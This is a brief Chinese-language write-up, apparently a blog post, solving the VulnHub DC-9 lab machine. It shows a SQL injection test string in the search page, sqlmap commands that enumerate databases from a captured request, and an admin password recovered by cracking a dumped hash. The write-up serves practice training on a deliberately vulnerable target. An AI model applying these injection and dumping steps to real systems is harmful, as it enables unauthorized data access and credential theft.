（VulnHub靶机通关）DC-9

靶机下载地址：https://download.vulnhub.com/dc/DC-9.zip

主机发现

IP：192.168.43.192 80端口为开放状态，22端口是filtered状态

web渗透

访问80端口的web服务，打开Search界面，输入1' or 1=1 #

存在sql注入

burpsuite抓包然后保存为DC.txt，然后用sqlmap进行爆破

爆库名

python sqlmap.py -r "C:\Users\11989\Desktop\DC.txt" --dbs

 有Staff、users库

爆出users库

查看当前库

python sqlmap.py -r "C:\Users\11989\Desktop\DC.txt" --current-db

爆Staff的数据，发现一个admin用户，将密码复制到https://www.somd5.com/解密

得到密码：transorbital1